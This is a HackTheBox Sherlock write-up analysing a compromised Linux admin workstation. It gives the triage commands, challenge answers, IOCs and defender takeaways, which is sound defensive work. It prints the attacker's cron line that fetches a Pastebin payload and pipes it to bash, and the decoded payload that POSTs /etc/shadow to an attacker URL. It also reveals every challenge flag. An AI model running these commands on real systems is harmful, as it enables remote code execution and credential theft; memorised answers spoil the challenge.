// HackTheBox  ·  writeup

LuckyShot

HackTheBox Easy grepawkcurlsha1sum
DFIR

Scenario

In this Sherlock, players will analyze a compromised IT administrator workstation to uncover how an attacker gained persistence, exfiltrated or tampered with critical company files, and maintained remote access.

Executive Summary

An attacker on the local network brute-forced SSH on an IT administrator’s Linux workstation and landed in the administrator’s account. They checked their privileges, cloned a public credential-recovery tool, and copied credential files back to their own machine over scp. A malicious script was then wired in as a root systemd service disguised as network management, while listener commands in root’s shell startup files, an SSH key and a new local user gave several fallback ways back in. A cron job kept fetching an encoded payload from Pastebin, which sent the shadow file to the attacker.

Artifacts

Timestamp note: auth.log is in the host’s local time (+02:00). Both timestamp answers use the log’s own clock, unchanged.

Initial Access

Q1 — What method did the attacker use to gain access to the system?

auth.log is the first stop on a Linux triage collection. Filter for sshd failures and group by source: one address, 192.168.161.198, throws a dense burst of Failed password for root lines around 19:38, seconds apart, with no other source comparable. The volume and cadence point at automated password guessing, not a user mistyping.

grep 'sshd' '[root]/var/log/auth.log' | grep 'Failed password' | grep -oE 'from [0-9.]+' | sort | uniq -c | sort -rn

Gotcha: The answer mask is two five-letter words. The technique name is Brute Force; a service-prefixed variant such as SSH brute does not fit the mask.

Click flag to reveal Brute Force
Q2 — At what time did the attacker successfully log in for the first time?

From Q1 the attacker IP is known, so search for the first success from it. The first Accepted password line from 192.168.161.198 sits right after the failure burst, which is the guess that worked.

grep 'Accepted password' '[root]/var/log/auth.log' | grep 192.168.161.198 | head -1

Timestamp note: The log is in the host’s local time (+02:00), not UTC. The answer uses the timestamp exactly as auth.log prints it.

Click to reveal answer 2025-02-10 19:39:03
Q3 — Which user account was compromised by the attacker?

The same Accepted password line names the account. The spray targeted root, but the successful login was for a different, ordinary account: the IT administrator’s.

grep 'Accepted password' '[root]/var/log/auth.log' | grep 192.168.161.198 | head -1
Click flag to reveal administrator

Discovery

Q4 — What command was executed by the attacker to check user privileges?

The compromised user’s .bash_history records the hands-on session. After logging in, the first privilege check is a group lookup for their own account.

grep -n 'groups' '[root]/home/administrator/.bash_history'
Click to reveal answer groups administrator

Credential Access

Q5 — What was the first tool the attacker downloaded to extract stored credentials from the system?

Continuing through .bash_history, the attacker pulls a credential-recovery tool from GitHub with git clone of the AlessandroZ repository. It is the first such download in the history.

grep -nE 'git clone|wget|curl' '[root]/home/administrator/.bash_history'
Click flag to reveal LaZagne

Exfiltration

Q6 — The attacker located sensitive files on the compromised system and transferred them to a remote machine. Which command-line tool was used for this exfiltration?

Further down the history, the attacker copies two files named Passwords_Backup.txt and Server_Credentials.txt to a remote host in one command. The binary used is the SSH-based copy tool.

grep -n 'scp' '[root]/home/administrator/.bash_history'
Click to reveal answer scp
Q7 — What IP did the attacker exfiltrate the files to?

The destination in the same scp command is [email protected], the same address that ran the brute force in Q1. The attacker’s machine was both the entry point and the loot drop.

grep -n 'scp' '[root]/home/administrator/.bash_history'
Click flag to reveal 192.168.161.198

Execution

Q8 — The attacker continued their exploitation and executed a malicious script on the victim machine. What is the name of the script?

.bash_history shows the attacker running a script, and the same script name shows up again as the ExecStart of a systemd unit installed later (Q10), which ties the two together.

grep -rn 'sys_monitor' '[root]/home/administrator/.bash_history' '[root]/etc/systemd/system/'
Click to reveal answer sys_monitor.sh
Q9 — What is the SHA1 hash of the malware?

The collection includes hash_executables.sha1, a hash list of executables on the host. Look up the script from Q8 by name.

grep 'sys_monitor.sh' hash_executables/hash_executables.sha1
Click flag to reveal 3ae5dea716a4f7bfb18046bfba0553ea01021c75

Persistence

Q10 — The malware installed a component that pretends to be part of system network management but is actually running with root privileges. What is the name of the component?

Systemd unit files live in etc/systemd/system/. One, systemd-networkm.service, imitates the legitimate systemd-networkd name. Its Description reads “System Network Management”, it runs as User=root, and its ExecStart is the Q8 script.

cat '[root]/etc/systemd/system/systemd-networkm.service'

Tip: Compare the unit name against the real systemd-networkd. One dropped letter is the whole disguise.

Click to reveal answer systemd-networkm.service
Q11 — The attacker modified several startup configuration files, each spawning a network listener on a different port at login. What is the name of the file that starts the listener on the lowest port number?

Check the shell startup files of the accounts the attacker touched for ncat listeners. root/.bashrc starts ncat -lvp 7575 and root/.profile starts ncat -lvp 9000, so the lowest port, 7575, is in .bashrc.

grep -rn 'ncat' '[root]/root/.bashrc' '[root]/root/.profile' '[root]/home/'*/.bashrc '[root]/home/'*/.profile

Gotcha: The question asks for the file, not the port, and the filename carries no path.

Click flag to reveal .bashrc
Q12 — What is the username and hostname associated with the attacker?

The attacker left an SSH public key in root/.ssh/authorized_keys. The key comment at the end of the line holds the user@host of the machine that generated it.

awk '{print $NF}' '[root]/root/.ssh/authorized_keys'
Click to reveal answer kali@kali
Q13 — The attacker created a user for persistence, what is the name of the created user?

auth.log records account creation through useradd. The new account is named in the new user: line.

grep -E 'useradd|new user' '[root]/var/log/auth.log'
Click flag to reveal Regev
Q14 — At what exact timestamp was the new user created on the system?

The timestamp is on the same new user: name=Regev line from Q13, again in the host’s local time.

grep 'new user: name=Regev' '[root]/var/log/auth.log'
Click to reveal answer 2025-02-10 20:11:21

Command and Control

Q15 — The malware set up an automated process to fetch and execute a remote payload from a legitimate web service. What is the full command responsible for retrieving this payload?

Cron is the automated process here. etc/cron.d/syscheck fetches a Pastebin raw URL, reverses the string, base64-decodes it and pipes it to bash, with a guard that installs curl first if it is missing. The answer is that line copied verbatim.

cat '[root]/etc/cron.d/syscheck'

Tip: The answer mask mirrors the cron line character for character, so copy the command part of the line, not the schedule or user fields.

Click flag to reveal command -v curl >/dev/null 2>&1 || (apt update && apt install -y curl) && curl -fsSL https://pastebin.com/raw/SAuEez0S | rev | base64 -d | bash
Q16 — The payload was used to extract more sensitive files. What was the command ran to extract the more sensitive file?

The payload is not on disk, because cron pulls it from Pastebin each run. The Wayback Machine holds a snapshot of the raw paste from 2025-03-05 (web.archive.org/web/20250305155618id_/https://pastebin.com/raw/SAuEez0S), fetched passively without touching the live URL. The archived response is gzip-compressed, so decompress it first, then apply the same reverse and base64 decode that the cron line does. The decoded script base64-encodes /etc/shadow and POSTs it to steal.php on the attacker IP from Q7. Choosing /etc/shadow over /etc/passwd was reasoned from the question’s “more sensitive” wording rather than read from a second artifact; both fit the answer mask, and /etc/shadow is the accepted one.

curl -s 'https://web.archive.org/web/20250305155618id_/https://pastebin.com/raw/SAuEez0S' | gunzip | rev | base64 -d

Gotcha: /etc/passwd fits the same mask length as /etc/shadow. The password hashes live in shadow, which is the one that counts as “more sensitive”.

Click to reveal answer base64 /etc/shadow | curl -X POST -d @- http://192.168.161.198/steal.php

Attack Summary

PhaseAction
Initial AccessSSH password guessing against root from one internal host
Initial AccessLogin accepted for the administrator account
Discoverygroups administrator to check privileges
Credential AccessCredential-recovery tool cloned from GitHub
ExfiltrationTwo credential files copied to the attacker host with scp
ExecutionMalicious script run, later installed as a service
PersistenceRoot systemd service systemd-networkm.service disguised as network management
Persistencencat listeners added to root’s .bashrc and .profile
PersistenceAttacker SSH key added for root
PersistenceLocal user created
Command and ControlCron job pulls an encoded payload from Pastebin
ExfiltrationPayload POSTs the base64-encoded shadow file to the attacker

IOCs

TypeValue
IP (attacker)192.168.161[.]198
Attacker key identitykali@kali
Account (compromised)administrator
Account (created)Regev
Scriptsys_monitor.sh (SHA1 3ae5dea716a4f7bfb18046bfba0553ea01021c75)
Serviceetc/systemd/system/systemd-networkm.service
Cronetc/cron.d/syscheck
URLhxxps[://]pastebin[.]com/raw/SAuEez0S
URLhxxp[://]192[.]168[.]161[.]198/steal[.]php

MITRE ATT&CK

TechniqueIDDescription
Brute Force: Password GuessingT1110.001SSH guessing burst from the attacker host
Valid Accounts: Local AccountsT1078.003Login as administrator
System Owner/User DiscoveryT1033groups administrator
Credentials from Password StoresT1555Credential-recovery tool cloned
Exfiltration Over Alternative ProtocolT1048Credential files sent with scp
Unix ShellT1059.004Malicious script and piped bash payload
Systemd ServiceT1543.002Root service masquerading as network management
Unix Shell Configuration ModificationT1546.004ncat listeners in .bashrc and .profile
SSH Authorized KeysT1098.004Attacker key in root’s authorized_keys
Create Account: Local AccountT1136.001Regev created
Scheduled Task/Job: CronT1053.003syscheck cron job
Web ServiceT1102Payload hosted on Pastebin
OS Credential Dumping: /etc/passwd and /etc/shadowT1003.008Shadow file base64-encoded and POSTed out

Defender Takeaways

Password SSH on a workstation invites a spray. A burst of Failed password lines from one source followed by an Accepted password is visible in auth.log and should alert. Key-only SSH, or rate limiting with fail2ban, would have stopped the guessing.

Shell history shows the whole session when nobody clears it. The attacker’s tool download, scp command and privilege check were all in .bash_history. Forward history off-host so it survives tampering.

Check every autostart location, not just one. Persistence sat in a systemd unit, cron.d, two shell startup files, an authorized key and a new user. Alert on new unit files, changes to /etc/cron.d, and edits to root’s .bashrc and .profile.

Look-alike names hide in plain sight. systemd-networkm.service differs from systemd-networkd by one letter. Baseline installed units and flag any that no package owns.

Fetch-decode-execute from a paste site is detectable. A cron line that pipes curl into base64 -d | bash is a strong indicator. Block or alert on outbound requests to paste services from servers and workstations that have no reason to use them.

Conclusion

The attacker went from a guessed password to root-level persistence with no exploit, using only built-in tools and a public credential recovery utility. Five separate footholds meant that removing any single one would not have evicted them.